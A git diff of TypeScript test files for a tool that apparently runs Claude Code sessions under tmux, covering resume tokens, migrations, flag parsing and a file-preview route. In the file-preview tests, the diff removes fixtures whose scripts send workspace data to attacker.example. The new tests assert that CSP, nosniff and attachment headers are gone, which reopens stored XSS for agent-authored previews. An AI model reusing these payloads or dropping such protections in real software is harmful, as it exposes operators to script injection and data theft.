|
||||
import { SnapshotCapture } from "../src/domain/snapshot-capture.js";
|
||||
import { CheckpointStore } from "../src/domain/checkpoint-store.js";
|
||||
import { RigTeardownOrchestrator } from "../src/domain/rig-teardown.js";
|
||||
import { ResumeMetadataRefresher } from "../src/domain/resume-metadata-refresher.js";
|
||||
import type { TmuxAdapter } from "../src/adapters/tmux.js";
|
||||
|
||||
const oldId = "11111111-1111-4111-8111-111111111111";
|
||||
const newId = "22222222-2222-4222-8222-222222222222";
|
||||
const startedAt = "2020-01-01T01:00:00Z";
|
||||
|
||||
describe("Claude current conversation at shutdown", () => {
|
||||
let db: ReturnType<typeof createDb>;
|
||||
let root: string;
|
||||
let rigRepo: RigRepository;
|
||||
let registry: SessionRegistry;
|
||||
let eventBus: EventBus;
|
||||
let snapshotRepo: SnapshotRepository;
|
||||
let capture: SnapshotCapture;
|
||||
|
||||
beforeEach(() => {
|
||||
root = fs.mkdtempSync(path.join(os.tmpdir(), "claude-clear-resume-"));
|
||||
db = createDb();
|
||||
migrate(db, ALL_MIGRATIONS);
|
||||
rigRepo = new RigRepository(db);
|
||||
registry = new SessionRegistry(db);
|
||||
eventBus = new EventBus(db);
|
||||
snapshotRepo = new SnapshotRepository(db);
|
||||
capture = new SnapshotCapture({ db, rigRepo, sessionRegistry: registry, eventBus, snapshotRepo, checkpointStore: new CheckpointStore(db) });
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
db.close();
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
function fixture(provenance: "scrape" | "operator" | "hook" = "scrape", configDir = path.join(root, ".claude")) {
|
||||
const rig = rigRepo.createRig("clear-test");
|
||||
const node = rigRepo.addNode(rig.id, "worker", { runtime: "claude-code", cwd: root });
|
||||
const name = "worker@clear-test";
|
||||
const session = registry.registerSession(node.id, name);
|
||||
registry.updateStatus(session.id, "running");
|
||||
registry.updateBinding(node.id, { tmuxSession: name, tmuxPane: "%1" });
|
||||
registry.updateResumeToken(session.id, "claude_id", oldId, provenance);
|
||||
const rows = [
|
||||
{ pid: 900, ppid: 1, pgid: 900, tpgid: 901, executableName: "bash", command: "bash", startedAt },
|
||||
{ pid: 901, ppid: 900, pgid: 901, tpgid: 901, executableName: "claude", command: `claude --session-id ${oldId} --name ${name}`, startedAt },
|
||||
];
|
||||
const listClaudeProcesses = vi.fn(async () => rows);
|
||||
const probe = vi.fn(async () => "resumable" as const); // Old history still exists after /clear.
|
||||
const tmux = {
|
||||
getPanePid: vi.fn(async () => 900),
|
||||
killSession: vi.fn(async () => ({ ok: true })),
|
||||
} as unknown as TmuxAdapter;
|
||||
const refresher = new ResumeMetadataRefresher({
|
||||
sessionRegistry: registry, tmuxAdapter: tmux, homeDir: root,
|
||||
claudeConfigDir: configDir, listClaudeProcesses, probeClaudeResume: probe,
|
||||
});
|
||||
const file = path.join(configDir, "sessions", "901.json");
|
||||
fs.mkdirSync(path.dirname(file), { recursive: true });
|
||||
fs.writeFileSync(file, JSON.stringify({ name, sessionId: newId }));
|
||||
// Deterministic current-process timestamp, independent of the test machine's date.
|
||||
fs.utimesSync(file, new Date("2020-01-01T02:00:00Z"), new Date("2020-01-01T02:00:00Z"));
|
||||
const teardown = new RigTeardownOrchestrator({ db, rigRepo, sessionRegistry: registry, eventBus, snapshotCapture: capture, tmuxAdapter: tmux, resumeMetadataRefresher: refresher });
|
||||
return { rig, session, name, rows, file, tmux, probe, listClaudeProcesses, refresher, teardown };
|
||||
}
|
||||
|
||||
it("captures the post-clear conversation in the actual auto-pre-down snapshot", async () => {
|
||||
const f = fixture();
|
||||
// Another seat has the same name; a name scan must not select its old conversation.
|
||||
fs.writeFileSync(path.join(path.dirname(f.file), "899.json"), JSON.stringify({ name: f.name, sessionId: oldId }));
|
||||
const result = await f.teardown.teardown(f.rig.id);
|
||||
expect(result.errors).toEqual([]);
|
||||
expect(result.sessionsKilled).toBe(1);
|
||||
const snap = snapshotRepo.getSnapshot(result.snapshotId!)!;
|
||||
expect(snap.kind).toBe("auto-pre-down");
|
||||
expect(snap.data.sessions.find(s => s.id === f.session.id)?.resumeToken).toBe(newId);
|
||||
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(newId);
|
||||
expect(f.probe).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("uses the selected provider config directory for the live PID", async () => {
|
||||
const f = fixture("scrape", path.join(root, "custom-config"));
|
||||
await f.teardown.teardown(f.rig.id);
|
||||
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(newId);
|
||||
});
|
||||
|
||||
it("preserves the same conversation when no clear occurred", async () => {
|
||||
const f = fixture();
|
||||
fs.writeFileSync(f.file, JSON.stringify({ name: f.name, sessionId: oldId }));
|
||||
await f.teardown.teardown(f.rig.id);
|
||||
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(oldId);
|
||||
});
|
||||
|
||||
it("preserves null provenance when the current token is unchanged", async () => {
|
||||
const f = fixture();
|
||||
db.prepare("UPDATE sessions SET resume_provenance = NULL WHERE id = ?").run(f.session.id);
|
||||
fs.writeFileSync(f.file, JSON.stringify({ name: f.name, sessionId: oldId }));
|
||||
await f.teardown.teardown(f.rig.id);
|
||||
const session = registry.getSessionsForRig(f.rig.id)[0]!;
|
||||
expect(session.resumeToken).toBe(oldId);
|
||||
expect(session.resumeProvenance).toBeNull();
|
||||
expect(session.resumeLastProbeStatus).toBe("resumable");
|
||||
expect(f.probe).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("keeps an archived namesake's own conversation in the pre-down snapshot", async () => {
|
||||
const f = fixture();
|
||||
rigRepo.archiveRig(f.rig.id);
|
||||
const live = rigRepo.createRig("clear-test");
|
||||
const liveNode = rigRepo.addNode(live.id, "worker", { runtime: "claude-code", cwd: root });
|
||||
const liveSession = registry.registerSession(liveNode.id, f.name);
|
||||
registry.updateStatus(liveSession.id, "running");
|
||||
registry.updateBinding(liveNode.id, { tmuxSession: f.name, tmuxPane: "%2" });
|
||||
registry.updateResumeToken(liveSession.id, "claude_id", newId, "scrape");
|
||||
// The name and PID file now belong to the live rig, not the archived row.
|
||||
f.rows[1]!.command = `claude --session-id ${newId} --name ${f.name}`;
|
||||
const result = await f.teardown.teardown(f.rig.id);
|
||||
const snap = snapshotRepo.getSnapshot(result.snapshotId!)!;
|
||||
expect(result.errors).toEqual([]);
|
||||
expect(f.tmux.killSession).not.toHaveBeenCalled();
|
||||
expect(registry.getSessionsForRig(live.id)[0]).toMatchObject({ resumeToken: newId, status: "running" });
|
||||
expect(snap.data.sessions.find(s => s.id === f.session.id)?.resumeToken).toBe(oldId);
|
||||
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(oldId);
|
||||
expect(f.listClaudeProcesses).not.toHaveBeenCalled();
|
||||
expect(f.probe).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it.each(["missing", "malformed", "wrong-name", "invalid-id", "old-file", "changed-process", "ambiguous-process", "background-process"])("keeps existing shutdown behavior on %s evidence", async (kind) => {
|
||||
const f = fixture();
|
||||
if (kind === "missing") fs.unlinkSync(f.file);
|
||||
if (kind === "malformed") fs.writeFileSync(f.file, "{");
|
||||
if (kind === "wrong-name") fs.writeFileSync(f.file, JSON.stringify({ name: "different-seat", sessionId: newId }));
|
||||
if (kind === "invalid-id") fs.writeFileSync(f.file, JSON.stringify({ name: f.name, sessionId: [newId] }));
|
||||
if (kind === "old-file") fs.utimesSync(f.file, new Date(0), new Date(0));
|
||||
if (kind === "changed-process") f.listClaudeProcesses.mockResolvedValueOnce(f.rows).mockResolvedValue([]);
|
||||
if (kind === "ambiguous-process") f.rows.push({ ...f.rows[1]!, pid: 902 });
|
||||
if (kind === "background-process") f.rows[1]!.pgid = 902;
|
||||
const result = await f.teardown.teardown(f.rig.id);
|
||||
expect(result.errors).toEqual([]);
|
||||
expect(result.sessionsKilled).toBe(1);
|
||||
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(oldId);
|
||||
expect(f.probe).toHaveBeenCalledWith(f.name, oldId, root);
|
||||
});
|
||||
|
||||
it.each(["operator", "hook"] as const)("does not replace a protected %s token", async (provenance) => {
|
||||
const f = fixture(provenance);
|
||||
await f.teardown.teardown(f.rig.id);
|
||||
const session = registry.getSessionsForRig(f.rig.id)[0]!;
|
||||
expect(session.resumeToken).toBe(oldId);
|
||||
expect(session.resumeProvenance).toBe(provenance);
|
||||
});
|
||||
|
||||
it("does not add process reads or change tokens on periodic fill-null refresh", async () => {
|
||||
const f = fixture();
|
||||
await f.refresher.refresh([{ sessionId: f.session.id, sessionName: f.name, runtime: "claude-code", resumeType: "claude_id", resumeToken: oldId }], { fillNullOnly: true });
|
||||
expect(f.listClaudeProcesses).not.toHaveBeenCalled();
|
||||
expect(f.probe).not.toHaveBeenCalled();
|
||||
expect(registry.getSessionsForRig(f.rig.id)[0]?.resumeToken).toBe(oldId);
|
||||
});
|
||||
});
|
||||
@@ -643,30 +643,36 @@ describe("Claude Code runtime adapter", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("launchHarness captures resume token from session file", async () => {
|
||||
it.each<[string, string[]]>([
|
||||
["the only same-name file matches", ["assigned.json"]],
|
||||
["another same-name seat is first", ["other.json", "assigned.json"]],
|
||||
["only another same-name seat has written its file", ["other.json"]],
|
||||
])("fresh launch retains its assigned ID when %s", async (_case, files) => {
|
||||
const tmux = mockTmux();
|
||||
const sessionData = JSON.stringify({ pid: 12345, sessionId: "abc-session-id", name: "dev-impl@test-rig" });
|
||||
const assignedId = "11111111-1111-4111-8111-111111111111";
|
||||
const otherId = "22222222-2222-4222-8222-222222222222";
|
||||
const sessionData: Record<string, string> = {
|
||||
"assigned.json": JSON.stringify({ pid: 12345, sessionId: assignedId, name: "dev-impl@test-rig" }),
|
||||
"other.json": JSON.stringify({ pid: 67890, sessionId: otherId, name: "dev-impl@test-rig" }),
|
||||
};
|
||||
const fs = mockFs({});
|
||||
// Add readdir + homedir capabilities
|
||||
const fsWithDir = {
|
||||
...fs,
|
||||
readdir: (dir: string) => dir.includes("sessions") ? ["12345.json"] : [],
|
||||
readdir: (dir: string) => dir.includes("sessions") ? files : [],
|
||||
homedir: "/mock-home",
|
||||
readFile: (p: string) => {
|
||||
if (p.includes("12345.json")) return sessionData;
|
||||
const data = sessionData[nodePath.basename(p)];
|
||||
if (data) return data;
|
||||
return fs.readFile(p);
|
||||
},
|
||||
exists: (p: string) => p.includes("sessions") || fs.exists(p),
|
||||
};
|
||||
const adapter = new ClaudeCodeAdapter({ tmux, fsOps: fsWithDir });
|
||||
const adapter = new ClaudeCodeAdapter({ tmux, fsOps: fsWithDir, sessionIdFactory: () => assignedId });
|
||||
|
||||
const result = await adapter.launchHarness(makeBinding(), { name: "dev-impl@test-rig" });
|
||||
|
||||
expect(result.ok).toBe(true);
|
||||
if (result.ok) {
|
||||
expect(result.resumeToken).toBe("abc-session-id");
|
||||
expect(result.resumeType).toBe("claude_id");
|
||||
}
|
||||
expect(tmux.sendText).toHaveBeenCalledWith("r01-impl", expect.stringContaining(`--session-id ${assignedId}`));
|
||||
expect(result).toMatchObject({ ok: true, resumeToken: assignedId, resumeType: "claude_id" });
|
||||
});
|
||||
|
||||
it("launchHarness returns error when no tmux session bound", async () => {
|
||||
|
||||
@@ -1,186 +1,106 @@
|
||||
// Security regression tests: Stored XSS via /api/files/asset (CWE-79)
|
||||
//
|
||||
// These tests verify that the /api/files/asset endpoint returns proper
|
||||
// security headers for active content types (text/html, image/svg+xml)
|
||||
// to prevent stored XSS when agent-authored files are previewed by the
|
||||
// operator through the dashboard.
|
||||
|
||||
// Explicit previews retain their content type and scripts; ordinary HTML reads stay text.
|
||||
import { describe, it, expect, beforeEach, afterEach } from "vitest";
|
||||
import { Hono } from "hono";
|
||||
import { mkdtempSync, rmSync, writeFileSync, realpathSync } from "node:fs";
|
||||
import { mkdtempSync, rmSync, writeFileSync, realpathSync, symlinkSync } from "node:fs";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { filesRoutes, assetSecurityHeaders } from "../src/routes/files.js";
|
||||
import { filesRoutes } from "../src/routes/files.js";
|
||||
|
||||
// ─── Unit tests for assetSecurityHeaders ──────────────────────────────
|
||||
const html = '<!doctype html><p id="preview">waiting</p><script>document.getElementById("preview").textContent="ready";</script>';
|
||||
const script = 'document.getElementById("preview").textContent="ready";';
|
||||
const svg = '<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><circle cx="50" cy="50" r="40" fill="red"/></svg>';
|
||||
|
||||
describe("assetSecurityHeaders", () => {
|
||||
it("returns X-Content-Type-Options: nosniff for all content types", () => {
|
||||
const cases = [
|
||||
"image/png",
|
||||
"text/plain; charset=utf-8",
|
||||
"application/json; charset=utf-8",
|
||||
"application/octet-stream",
|
||||
];
|
||||
for (const ct of cases) {
|
||||
const headers = assetSecurityHeaders(ct, "/tmp/test.png");
|
||||
expect(headers["X-Content-Type-Options"]).toBe("nosniff");
|
||||
}
|
||||
});
|
||||
|
||||
it("returns strict CSP + X-Frame-Options for text/html", () => {
|
||||
const headers = assetSecurityHeaders("text/html; charset=utf-8", "/tmp/mockup.html");
|
||||
expect(headers["Content-Security-Policy"]).toBeDefined();
|
||||
expect(headers["Content-Security-Policy"]).toContain("default-src 'none'");
|
||||
// script-src is NOT present — scripts are blocked by default-src 'none'
|
||||
expect(headers["Content-Security-Policy"]).not.toContain("script-src");
|
||||
// frame-ancestors prevents clickjacking
|
||||
expect(headers["Content-Security-Policy"]).toContain("frame-ancestors 'none'");
|
||||
expect(headers["X-Frame-Options"]).toBe("DENY");
|
||||
});
|
||||
|
||||
it("returns Content-Disposition: attachment for SVG to prevent script execution", () => {
|
||||
const headers = assetSecurityHeaders("image/svg+xml", "/workspace/diagram.svg");
|
||||
expect(headers["Content-Disposition"]).toBe("attachment; filename*=UTF-8''diagram.svg");
|
||||
});
|
||||
|
||||
it("encodes unicode SVG filenames with RFC 5987 so CJK/emoji names work", () => {
|
||||
const headers = assetSecurityHeaders("image/svg+xml", "/workspace/图表.svg");
|
||||
expect(headers["Content-Disposition"]).toContain("attachment");
|
||||
expect(headers["Content-Disposition"]).toContain("filename*=UTF-8''");
|
||||
// Verify the unicode is percent-encoded, not raw
|
||||
expect(headers["Content-Disposition"]).not.toContain("图表");
|
||||
expect(headers["Content-Disposition"]).toContain(encodeURIComponent("图表.svg"));
|
||||
});
|
||||
|
||||
it("does NOT return Content-Disposition for non-SVG images", () => {
|
||||
const headers = assetSecurityHeaders("image/png", "/workspace/photo.png");
|
||||
expect(headers["Content-Disposition"]).toBeUndefined();
|
||||
});
|
||||
|
||||
it("does NOT return CSP for non-HTML text types", () => {
|
||||
const headers = assetSecurityHeaders("text/plain; charset=utf-8", "/workspace/readme.md");
|
||||
expect(headers["Content-Security-Policy"]).toBeUndefined();
|
||||
expect(headers["X-Frame-Options"]).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
// ─── Integration tests against the asset route ────────────────────────
|
||||
|
||||
describe("GET /api/files/asset — security headers", () => {
|
||||
describe("GET /api/files/asset — previews and retained boundaries", () => {
|
||||
let root: string;
|
||||
let outside: string;
|
||||
let app: Hono;
|
||||
|
||||
beforeEach(() => {
|
||||
root = mkdtempSync(join(tmpdir(), "openrig-xss-test-"));
|
||||
|
||||
// Create test files that would be attack vectors without the fix
|
||||
writeFileSync(
|
||||
join(root, "xss-payload.html"),
|
||||
`<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<h1>XSS Test</h1>
|
||||
<script>
|
||||
// This script would execute in the daemon's origin without CSP
|
||||
fetch('/api/files/roots').then(r => r.json()).then(data => {
|
||||
new Image().src = 'https://attacker.example/steal?' + JSON.stringify(data);
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>`,
|
||||
);
|
||||
|
||||
writeFileSync(
|
||||
join(root, "xss-payload.svg"),
|
||||
`<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
|
||||
<script type="text/javascript">
|
||||
fetch('/api/files/roots').then(r => r.json()).then(data => {
|
||||
new Image().src = 'https://attacker.example/steal?' + JSON.stringify(data);
|
||||
});
|
||||
</script>
|
||||
<circle cx="50" cy="50" r="40" fill="red"/>
|
||||
</svg>`,
|
||||
);
|
||||
|
||||
writeFileSync(join(root, "safe-image.png"), Buffer.from([0x89, 0x50, 0x4e, 0x47]));
|
||||
|
||||
// Wire the route exactly like the existing tests do (files-asset-range.test.ts)
|
||||
const allowlist = [{ name: "ws", canonicalPath: realpathSync(root) }];
|
||||
root = mkdtempSync(join(tmpdir(), "asset-preview-"));
|
||||
outside = mkdtempSync(join(tmpdir(), "asset-outside-"));
|
||||
writeFileSync(join(root, "mock.html"), html);
|
||||
writeFileSync(join(root, "preview.js"), script);
|
||||
writeFileSync(join(root, "diagram.svg"), svg);
|
||||
writeFileSync(join(root, "图表.svg"), svg);
|
||||
writeFileSync(join(root, "sample.png"), Buffer.from([0x89, 0x50, 0x4e, 0x47]));
|
||||
writeFileSync(join(outside, "other.html"), "outside");
|
||||
symlinkSync(join(outside, "other.html"), join(root, "link.html"));
|
||||
app = new Hono();
|
||||
app.use("*", async (c, next) => {
|
||||
c.set("filesAllowlist" as never, allowlist);
|
||||
c.set("filesAllowlist" as never, [{ name: "ws", canonicalPath: realpathSync(root) }]);
|
||||
c.set("fileWriteService" as never, null);
|
||||
await next();
|
||||
});
|
||||
app.route("/api/files", filesRoutes());
|
||||
});
|
||||
|
||||
afterEach(() => rmSync(root, { recursive: true, force: true }));
|
||||
|
||||
afterEach(() => { rmSync(root, { recursive: true, force: true }); rmSync(outside, { recursive: true, force: true }); });
|
||||
const url = (p: string, extra = "") => `/api/files/asset?root=ws&path=${encodeURIComponent(p)}${extra}`;
|
||||
|
||||
it("serves HTML with render=1 and includes strict CSP that blocks scripts", async () => {
|
||||
const res = await app.request(url("xss-payload.html", "&render=1"));
|
||||
it("restores explicit HTML preview without a script or frame restriction", async () => {
|
||||
const res = await app.request(url("mock.html", "&render=1"));
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.headers.get("Content-Type")).toBe("text/html; charset=utf-8");
|
||||
|
||||
// CSP MUST be present and MUST block scripts
|
||||
const csp = res.headers.get("Content-Security-Policy");
|
||||
expect(csp).toBeDefined();
|
||||
expect(csp).toContain("default-src 'none'");
|
||||
// Verify no script-src directive (scripts blocked by default-src 'none')
|
||||
expect(csp).not.toContain("script-src");
|
||||
|
||||
// nosniff must be present
|
||||
expect(res.headers.get("X-Content-Type-Options")).toBe("nosniff");
|
||||
|
||||
// X-Frame-Options prevents embedding in iframes
|
||||
expect(res.headers.get("X-Frame-Options")).toBe("DENY");
|
||||
expect(res.headers.get("Content-Security-Policy")).toBeNull();
|
||||
expect(res.headers.get("X-Frame-Options")).toBeNull();
|
||||
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
|
||||
expect(await res.text()).toBe(html);
|
||||
});
|
||||
|
||||
it("serves SVG with Content-Disposition: attachment to prevent script execution", async () => {
|
||||
const res = await app.request(url("xss-payload.svg"));
|
||||
it.each(["diagram.svg", "图表.svg"])("restores direct inline SVG preview for %s", async (file) => {
|
||||
const res = await app.request(url(file));
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.headers.get("Content-Type")).toBe("image/svg+xml");
|
||||
|
||||
// Content-Disposition: attachment forces download instead of rendering
|
||||
const disposition = res.headers.get("Content-Disposition");
|
||||
expect(disposition).toBeDefined();
|
||||
expect(disposition).toContain("attachment");
|
||||
expect(disposition).toContain("filename*=UTF-8''");
|
||||
|
||||
// nosniff must be present
|
||||
expect(res.headers.get("X-Content-Type-Options")).toBe("nosniff");
|
||||
expect(res.headers.get("Content-Disposition")).toBeNull();
|
||||
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
|
||||
expect(await res.text()).toBe(svg);
|
||||
});
|
||||
|
||||
it("includes nosniff on safe content types too", async () => {
|
||||
const res = await app.request(url("safe-image.png"));
|
||||
it.each(["", "&render=0"])("keeps default HTML as text/plain (%s)", async (extra) => {
|
||||
const res = await app.request(url("mock.html", extra));
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.headers.get("X-Content-Type-Options")).toBe("nosniff");
|
||||
// No CSP needed for images
|
||||
expect(res.headers.get("Content-Security-Policy")).toBeNull();
|
||||
});
|
||||
|
||||
it("includes security headers on Range (206) responses too", async () => {
|
||||
const res = await app.request(
|
||||
url("xss-payload.html", "&render=1"),
|
||||
{ headers: { Range: "bytes=0-50" } },
|
||||
);
|
||||
expect(res.status).toBe(206);
|
||||
|
||||
// CSP must be present even on partial content
|
||||
const csp = res.headers.get("Content-Security-Policy");
|
||||
expect(csp).toBeDefined();
|
||||
expect(csp).toContain("default-src 'none'");
|
||||
expect(res.headers.get("X-Content-Type-Options")).toBe("nosniff");
|
||||
});
|
||||
|
||||
it("does NOT serve HTML as text/html without render=1 opt-in", async () => {
|
||||
const res = await app.request(url("xss-payload.html"));
|
||||
expect(res.status).toBe(200);
|
||||
// Without render=1, HTML is served as text/plain (safe)
|
||||
expect(res.headers.get("Content-Type")).toBe("text/plain; charset=utf-8");
|
||||
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
|
||||
expect(await res.text()).toBe(html);
|
||||
});
|
||||
|
||||
it.each([false, true])("serves a script asset without nosniff (partial=%s)", async (partial) => {
|
||||
const res = await app.request(url("preview.js"), partial ? { headers: { Range: "bytes=0-7" } } : {});
|
||||
expect(res.status).toBe(partial ? 206 : 200);
|
||||
expect(res.headers.get("Content-Type")).toBe("text/plain; charset=utf-8");
|
||||
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
|
||||
expect(await res.text()).toBe(partial ? script.slice(0, 8) : script);
|
||||
if (partial) {
|
||||
expect(res.headers.get("Content-Range")).toBe(`bytes 0-7/${Buffer.byteLength(script)}`);
|
||||
expect(res.headers.get("Content-Length")).toBe("8");
|
||||
}
|
||||
});
|
||||
|
||||
it("retains the exact byte range for explicit previews without nosniff", async () => {
|
||||
const res = await app.request(url("mock.html", "&render=1"), { headers: { Range: "bytes=0-14" } });
|
||||
expect(res.status).toBe(206);
|
||||
expect(res.headers.get("Content-Type")).toBe("text/html; charset=utf-8");
|
||||
expect(res.headers.get("Content-Range")).toBe(`bytes 0-14/${Buffer.byteLength(html)}`);
|
||||
expect(res.headers.get("Content-Length")).toBe("15");
|
||||
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
|
||||
expect(res.headers.get("Content-Security-Policy")).toBeNull();
|
||||
expect(await res.text()).toBe(html.slice(0, 15));
|
||||
});
|
||||
|
||||
it("retains content type for other assets without nosniff", async () => {
|
||||
const res = await app.request(url("sample.png", "&render=1"));
|
||||
expect(res.headers.get("Content-Type")).toBe("image/png");
|
||||
expect(res.headers.get("X-Content-Type-Options")).toBeNull();
|
||||
expect(new Uint8Array(await res.arrayBuffer())).toEqual(new Uint8Array([0x89, 0x50, 0x4e, 0x47]));
|
||||
});
|
||||
|
||||
it.each(["../other.html", "/etc/passwd", "link.html"])("retains path containment for %s", async (file) => {
|
||||
const res = await app.request(url(file, "&render=1"));
|
||||
expect(res.status).toBe(400);
|
||||
expect(await res.text()).not.toBe("outside");
|
||||
});
|
||||
|
||||
it("retains the root allowlist", async () => {
|
||||
const res = await app.request("/api/files/asset?root=unknown&path=mock.html&render=1");
|
||||
expect(res.status).toBe(400);
|
||||
expect((await res.json()).error).toBe("root_unknown");
|
||||
});
|
||||
});
|
||||
@@ -3,6 +3,7 @@ import type Database from "better-sqlite3";
|
||||
import { createDb } from "../src/db/connection.js";
|
||||
import { migrate } from "../src/db/migrate.js";
|
||||
import { ALL_MIGRATIONS } from "../src/db/all-migrations.js";
|
||||
import { eventsNodeTypeIndexSchema } from "../src/db/migrations/047_events_node_type_index.js";
|
||||
import { inventoryEventIndexesSchema } from "../src/db/migrations/084_inventory_event_indexes.js";
|
||||
import { getNodeInventory, getNodeInventoryForRigs } from "../src/domain/node-inventory.js";
|
||||
|
||||
@@ -63,10 +64,30 @@ function expectIndexed(db: Database.Database) {
|
||||
const restore = plans.filter(p => p.sql.includes("restore.outcome_reconciled"));
|
||||
expect(restore.find(p => !p.args.length)?.detail).toContain("idx_events_restore_seq");
|
||||
expect(restore.find(p => p.args.length)?.detail).toContain("idx_events_restore_rig_seq");
|
||||
// Attempt binding must not reintroduce a scan of unrelated activity events.
|
||||
expect(restore).toHaveLength(2); // Fleet and selected-rig reads.
|
||||
for (const plan of restore) {
|
||||
expect(plan.detail).toContain("idx_events_node_type_seq (node_id=? AND type=?)");
|
||||
expect(plan.detail).not.toContain("idx_events_rig_seq");
|
||||
}
|
||||
expect(plans.find(p => p.sql.includes("node.startup_challenged"))?.detail).toContain("idx_events_startup_node_seq");
|
||||
}
|
||||
|
||||
describe("084 inventory event read indexes", () => {
|
||||
it("preserves rig and fleet inventory when the optional node/type index is absent", () => {
|
||||
const db = database();
|
||||
migrate(db, THROUGH.filter(m => m.name !== eventsNodeTypeIndexSchema.name));
|
||||
seed(db);
|
||||
expect(db.prepare("SELECT name FROM sqlite_master WHERE name = 'idx_events_node_type_seq'").get()).toBeUndefined();
|
||||
const value = projection(db), history = rows(db);
|
||||
expect(value.selected[0]?.restoreOutcome).toBe("operator_recovered");
|
||||
expect(value.all).toHaveLength(2);
|
||||
migrate(db, [eventsNodeTypeIndexSchema]);
|
||||
expectIndexed(db);
|
||||
expect(projection(db)).toEqual(value);
|
||||
expect(rows(db)).toEqual(history);
|
||||
});
|
||||
|
||||
it("upgrades the actual read plans without changing history, membership or newest-event meaning", () => {
|
||||
const db = database(); migrate(db, BEFORE); seed(db);
|
||||
const value = projection(db), history = rows(db);
|
||||
|
||||
@@ -24,6 +24,7 @@ const modes = [
|
||||
"launcher-shim-match", "launcher-shim-match-after", "launcher-shim-child-differs",
|
||||
"launcher-shim-child-differs-after", "launcher-shim-child-unparsed",
|
||||
"launcher-shim-shims-differ", "launcher-shim-child-two-sessions", "settings-single",
|
||||
"effort-separated", "effort-equals", "unknown-value-flag",
|
||||
];
|
||||
// The real process behind a spawning shim carries its own argv.
|
||||
const shimChild: Record<string, string> = {
|
||||
@@ -60,6 +61,12 @@ it.each(modes)("selector and ordinary transport: %s", async (mode) => {
|
||||
command: `${executable} --permission-mode auto ${mode === "settings-single" ? "--settings /fixture/settings.json " : ""}${mode === "missing-token" ? "" : `--session-id ${mode.startsWith("wrong-token") || mode === "launcher-shim-shims-differ" ? "different" : token}`} --name ${name}`, startedAt },
|
||||
]),
|
||||
];
|
||||
const extraFlag: Record<string, string> = {
|
||||
"effort-separated": "--effort high",
|
||||
"effort-equals": "--effort=high",
|
||||
"unknown-value-flag": "--unrecognised-flag high",
|
||||
};
|
||||
if (extraFlag[mode]) rows[2]!.command += ` ${extraFlag[mode]}`;
|
||||
// The shell still owns the terminal; these children are in background groups.
|
||||
if (mode === "bare-shell-helper" || mode === "bare-shell-job") {
|
||||
rows.push({ pid: 103, ppid: 100, pgid: 103, tpgid: 100,
|
||||
@@ -123,6 +130,7 @@ it.each(modes)("selector and ordinary transport: %s", async (mode) => {
|
||||
"launcher-shim-match", "launcher-shim-match-after", "launcher-shim-child-unparsed",
|
||||
"launcher-shim-child-two-sessions", "settings-single",
|
||||
"wrong-token", "wrong-token-post-read-error", "wrong-token-post-read-empty", "launcher-shim-shims-differ",
|
||||
"effort-separated", "effort-equals", "unknown-value-flag",
|
||||
].includes(mode);
|
||||
if (bare) expect({ ok: sent.ok, calls }).toEqual({ ok: false, calls: [] });
|
||||
expect(sent.ok).toBe(expectedSend);
|
||||
@@ -131,8 +139,9 @@ it.each(modes)("selector and ordinary transport: %s", async (mode) => {
|
||||
expect(observation !== null).toBe([
|
||||
"npm-name", "versioned", "pane-command-unavailable", "versioned-direct-pane", "missing-metadata",
|
||||
"ambiguous-pane", "changed-binding", "onboarding", "changed-after-paste",
|
||||
"effort-separated", "effort-equals",
|
||||
].includes(mode));
|
||||
if (expectedSend && ["unavailable", "unknown-both", "missing-token", "missing-metadata", "background", "other-semver", "versioned-argv-only", "versioned-comm-only", "launcher-shim", "launcher-shim-child-unparsed", "launcher-shim-child-two-sessions"].includes(mode)) {
|
||||
if (expectedSend && ["unavailable", "unknown-both", "missing-token", "missing-metadata", "background", "other-semver", "versioned-argv-only", "versioned-comm-only", "launcher-shim", "launcher-shim-child-unparsed", "launcher-shim-child-two-sessions", "unknown-value-flag"].includes(mode)) {
|
||||
expect(sent.warning).toContain("without verified native identity");
|
||||
}
|
||||
// Static launch tokens alone cannot prove a different current recipient after
|
||||
@@ -142,6 +151,7 @@ it.each(modes)("selector and ordinary transport: %s", async (mode) => {
|
||||
}
|
||||
// --settings is delivery-only: the strict selector above still rejects it (observation === null).
|
||||
if (mode.startsWith("launcher-shim-match") || mode === "settings-single") expect(sent.warning ?? "").not.toContain("without verified native identity");
|
||||
if (mode.startsWith("effort-")) expect(sent.warning ?? "").not.toContain("without verified native identity");
|
||||
if (mode.startsWith("launcher-shim-child-differs")) expect(sent.error).toContain("name different conversations");
|
||||
if (mode === "launcher-shim-mixed-token") expect(sent.error).toContain("name different conversations");
|
||||
// Two children of one shim are two runtimes, not a chain.
|
||||
|
||||
@@ -1,4 +1,9 @@
|
||||
import { describe, it, expect, vi } from "vitest";
|
||||
import { execFileSync } from "node:child_process";
|
||||
import { mkdtempSync, rmSync } from "node:fs";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { shellQuote } from "../src/adapters/shell-quote.js";
|
||||
